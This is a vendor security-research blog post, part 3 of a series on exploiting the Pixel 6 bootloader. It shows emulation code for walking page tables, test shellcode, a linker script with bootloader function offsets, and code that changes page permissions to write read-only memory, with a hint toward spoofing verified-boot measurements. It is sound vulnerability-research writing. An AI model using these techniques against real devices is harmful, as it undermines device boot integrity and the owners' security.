Chip & System Security Testing 
Mobile & Backend Security Testing 
Our Company 
Contact us
Back to all articles
Mobile App & Software

Pixel 6 Bootloader: Exploitation (part 3)

9 min read
Edit by Georges Gagnerot • Nov 15, 2022

This is a part of a series of articles about Exploiting Google's Pixel 6. See Part 1 | Part 2.

On our previous blog post, we had access to read and write primitives. Great! The next step is now to be able to directly execute our own code without using ROP programming. And for this purpose we need to either find some W|X memory maps, or to create some.

We will go still a bit deeper in this third blog post, I did not intend to make a too long blog post with a detailed path, but more to provide enough information to dig deeper into the exploit. A lot of the source code is freely available, like for Little Kernel, AVB, Trusty, fastboot, ... and it’s really just setting up your editor and digging through the source code.


Looking for W/X memory region

Through various means you can find that abl contains part of little kernel lk. Having a look at lk source code, we can find information about memory layout. I started digging with arch_mmu_query that returns flags based on a virtual address and some arch_aspace_t struct.

status_t arch_mmu_query(arch_aspace_t *aspace, vaddr_t vaddr, paddr_t *paddr, uint *flags)

Let’s have a look at the arch_aspace_t struct, it’s defined the following way

struct arch_aspace { /* pointer to the translation table */ paddr_t tt_phys; pte_t *tt_virt; uint flags; /* range of address space */ vaddr_t base; size_t size; };

and following the white rabbit, we get to the definition of the kernel_aspace and the vmm_aspace struct

typedef struct vmm_aspace { struct list_node node; char name[32]; uint flags; vaddr_t base; size_t size; struct bst_root regions; arch_aspace_t arch_aspace; } vmm_aspace_t;

A virtual memory aspace has a name like “kernel” and contains different regions, the representation and architecture specific informations for that memory is contained in the arch_aspace struct, and in aarch64 we have for instance the page table base that will be put into the TTBR registers registers. Since we have a read primitive now, we can just dump the memories containing the kernel vmm_aspace and all of the following tables.

Translation table for AARCH64 is what make the translation from Virtual memory (like 0xFFFFXXXXXXX) to physical one (0xYYYYYYY)


The arch_mmu_query from LK makes the walk from the initial entry to the page table descriptor like the CPU would do. If you are not familiar with the Virtual Memory System of the AARCH64 architecture, a good reading could be this one

This is what happens more or less during the arch_mmu_query call: figure_d4_8.png

The last value of pte will be the descriptor of the virtual memory we are looking at, and from here, we can check what kind of right the page has (is it readable, writable, executable?)

We have different paths in order to walk through the page table, we could make a little python script to emulate the reads and quickly implement a physical_to_virtual address. Or we could just do as we did previously and make a small unicorn script that will execute the arch_mmu_query method, and give us the offset where the pte stands at. That’s not the quicker one obviously but it will be pretty easy to follow and without too much code involved.

def get_pte_internal(vaddr): arch_mmu_query = 0xFFFF0000F880F5A0 mu = mu_loader() if not mu: return mu.reg_write(UC_ARM64_REG_X30, INVALID_ADDR) mu.reg_write(UC_ARM64_REG_X0, kernel_aspace) mu.reg_write(UC_ARM64_REG_X1, vaddr) mu.reg_write(UC_ARM64_REG_X2, download_buffer) mu.reg_write(UC_ARM64_REG_X3, download_buffer + 8) access = [] mu.hook_add(UC_HOOK_MEM_READ, hook_mem_read, user_data=access) mu.emu_start(arch_mmu_query, INVALID_ADDR, count=2000) x0 = mu.reg_read(UC_ARM64_REG_X0) if x0 == 0xFFFFFFFE: return 0, 0, 0, b"\x00" * 8 # return last access of pte return list(filter(lambda k: k[0] == 0xFFFF0000F880F690, access))[-1] def get_pte(vaddr): pc, addr, size, value = get_pte_internal(vaddr) pte = struct.unpack("Q", value)[0] print( f"addr:{addr:x} pte:{pte:x} access:{get_pte_access(pte)} exec:{get_pte_exec(pte)}" )

Before running the script you will need to dump some memory, if you had a working read/write primitive from the previous blogs, all you will have to do is to retrieve some memory with something like

> download_memory 0xFFFF0000F8990000 0x2000000 memory_0xFFFF0000F8990000

Then we can run the emulation script to get memory information

Base Android Bootloader Address

> python 0xFFFF0000F8800000 addr:ffff0000f8ae5000 pte:400000f880078b access:2 exec:True

The bootloader itself is ReadOnly (access==2) and memory is executable

Download Buffer

python 0xFFFF0000F8ACBD68 addr:ffff0000f8ae4e28 pte:600000f8a00709 access:0 exec:False

The download buffer is RW (access== 0) and the memory is not executable hence we cannot execute any shellcode there!

Some Random Memory (or not so random)

> python 0xFFFF000880000000 addr:ffff0000f8ae3110 pte:880000709 access:0 exec:True

This memory is both executable AND Read/Write, we can execute a shellcode there!

We found a good memory region now! (more on how we could build ourselves a W|X page) later on!

make shellcode by hand (with keystone) Let’s try to see if we have a working setup now, to test that i did convert the following shellcode to binary thanks to keystone than executed it

"NOP;NOP;NOP;NOP;NOP;MOV x8, #0x1234;BR X8"

The following exception is raised by the bootloader

(bootloader) instruction abort: PC at 0x1234 (bootloader) ESR 0x86000004: ec 0x21, il 0x2000000, iss 0x4 (bootloader) iframe 0xffff0000f8d7c740: (bootloader) x0 0x0000000000000000 x1 0x0000000000000000 x2 0x000000 (bootloader) 0000000000 x3 0x0000000000000001 (bootloader) x4 0x0000000000000000 x5 0xffff0000f8b1c438 x6 0x000000 (bootloader) 0000000000 x7 0x0000000000000000 (bootloader) x8 0x0000000000001234 x9 0x0000000000000000 x10 0x000000 (bootloader) 0099999999 x11 0x0000000000000027 (bootloader) x12 0x0000000000000000 x13 0xffff0000f8cfc458 x14 0xffff00 (bootloader) 00f8ac7720 x15 0xffff0000f8b9c370 (bootloader) x16 0x0000000000010000 x17 0x00000000ffffffff x18 0x000000 (bootloader) 0000000000 x19 0x0000000000000000 (bootloader) x20 0x0000000000000000 x21 0x0000000000000002 x22 0xffff00 (bootloader) 00f8854e04 x23 0xffff000090700000 (bootloader) x24 0xffff0000f8802c68 x25 0x0000000000000000 x26 0x000000 (bootloader) 0000000000 x27 0x0000000000000000 (bootloader) x28 0x0000000000000000 x29 0x0000000000000000 lr 0xffff00 (bootloader) 0880000000 usp 0x0000000000000000 (bootloader) elr 0x0000000000001234 (bootloader) spsr 0x0000000000000305 (bootloader) backtrace: (bootloader) [<0000000000001234>] unknown+0x0/0x0 (bootloader) [<ffff000880000000>] unknown+0x0/0x0 (bootloader) panic (caller 0xffff0000f880125c): die (bootloader) [ 11.041318] [I] [GS] halt action=0, reason=10 (bootloader) [ 11.041324] [C] [GS] Rebooting in 5 seconds, press 'c' to (bootloader) cancel: 0

We see that it crashed at 0x1234, meaning that all of our instructions were correctly executed, it’s time to build an interesting shellcode...or is it really? To be honest I would much rather build some shellcode with a standard compiler rather than reinvent the wheel...and luckily for us it’s pretty easy to do so!


Make shellcode with C (simple program)

Ideally what we would like would be the following:

int shellcode() { printf(“#### HELLO THERE ####”); int res = fastboot_run(&fastboot_stop,fastboot_activity_cb); return 0; }

So let’s try to have it working, it’s not that hard. First we need an aarch64 toolchain, for the purpose of this post, I will use a linaro one

Then we need a Makefile to build a binary and a linker script, thanks enough the web has lots of such project available, i had in mind a great article from Guillaume Delugré (great read BTW if you don’t know it), to bootstrap the scripts. With a bit of customization, then everything is in place.

OUTPUT_ARCH(aarch64) ENTRY(entry) PHDRS { text PT_LOAD FLAGS(7); bss PT_LOAD FLAGS(7); } SECTIONS { .text : { *(.shellcode_entry) *(.text) *(.text*) *(.data) *(.rodata*) *(.bss) *(.iplt*) *(.igot*) *(.got*) *(.rela*) } : text INCLUDE "functions.ld" INCLUDE "symbols.ld" /DISCARD/ : { *(.pdr) *(.gnu.attributes) *(.reginfo) ; *(.note) ; *(.comment) *(__ex_table) *(interp); } }

The purpose of this script is to put everything the compiler will generate in the text section, and to include offsets and memory locations from different files. The format of the offsets locations is the following one

PROVIDE(memchr = 0xffff0000f8875e2c); PROVIDE(memcmp = 0xffff0000f8875e50); PROVIDE(memcpy = 0xffff0000f8875e88); PROVIDE(memmove = 0xffff0000f8876044); PROVIDE(memset = 0xffff0000f88762a4); PROVIDE(strchr = 0xffff0000f88763a8); PROVIDE(strcmp = 0xffff0000f88763d4); PROVIDE(strcpy = 0xffff0000f88763fc); PROVIDE(strdup = 0xffff0000f8876414); PROVIDE(strndup = 0xffff0000f8876464); PROVIDE(strerror = 0xffff0000f88764bc); PROVIDE(stricmp = 0xffff0000f88764d8); PROVIDE(strlcat = 0xffff0000f8876550); PROVIDE(strlcpy = 0xffff0000f88765e0); PROVIDE(strlen = 0xffff0000f887663c); PROVIDE(strncpy = 0xffff0000f8876654); PROVIDE(strncmp = 0xffff0000f88766c4); PROVIDE(strnlen = 0xffff0000f8876700); ... PROVIDE(printf = 0xFFFF0000F8874538);

Now we can just write a shellcode and execute it!



Changing page table permissions

In this part we will try to change the page table we previously used in order to find a W|X memory to get write and execute access rights to some part of our code, we will copy/paste some code from lk and change it to quickly get a pointer to the page table. I called this method get_pte in the repository. Then the only thing we have to do is to update the access rights

Something like that will do the job (just get the pte, then clear the access rights (0 = RW) and use some fancy Synchronization Barrier


We can now replace a string in a RO sections, we leave to the reader how to call a function that would allow a page to be writable, keep in mind that for execution you will have to clear the instruction cache. LK already provides such a method obviously, it’s just a matter of finding it in the code :)

//Try to write value to a R/O memory set_page_writable((vaddr_t)external_lib_avb_str); char * str = "eshard"; memmove(external_lib_avb_str,str,sizeof(str)); printf("R/O str [%s]\n",external_lib_avb_str);

With that in hand, you have everything needed to start to work on exploitation, like google said. They even are nice enough to give us hints on what to do “The exploit can spoof AVB measurements (i.e. boot hash, OS patch level, unlock status)”.

Greetings to my teammates from eShard for their help and review.



We have open positions @ eShard

If you are interested by this first blog post and want to work on research projects around bootloaders and internals of Android/iOS, we are looking for kind people! Patch Analysis, Fuzzing and Code Emulation will be 80% of your daily tasks.


We will have some hands on training session on the Pixel6 bootloader in the next months

If you are interested, please contact us!


Top 120 European Mobile Banking App Benchmark



All articles
Case Studies
Chip Security
Corporate News
Mobile App & Software
Vulnerability Research

you might also be interested in

Mobile App & Software

3 Biggest Challenges in Mobile App Security & How to Address Them

6 min read
Edit by Fernanda Delestre • Nov 14, 2023
CopyRights eShard 2023.
All rights reserved
Privacy policy | Legal Notice
Side Channel AnalysisLaser & EM Fault InjectionFirmware Security AnalysisSecurity Failure AnalysisVulnerability ResearchMAST: Mobile Application Security Testing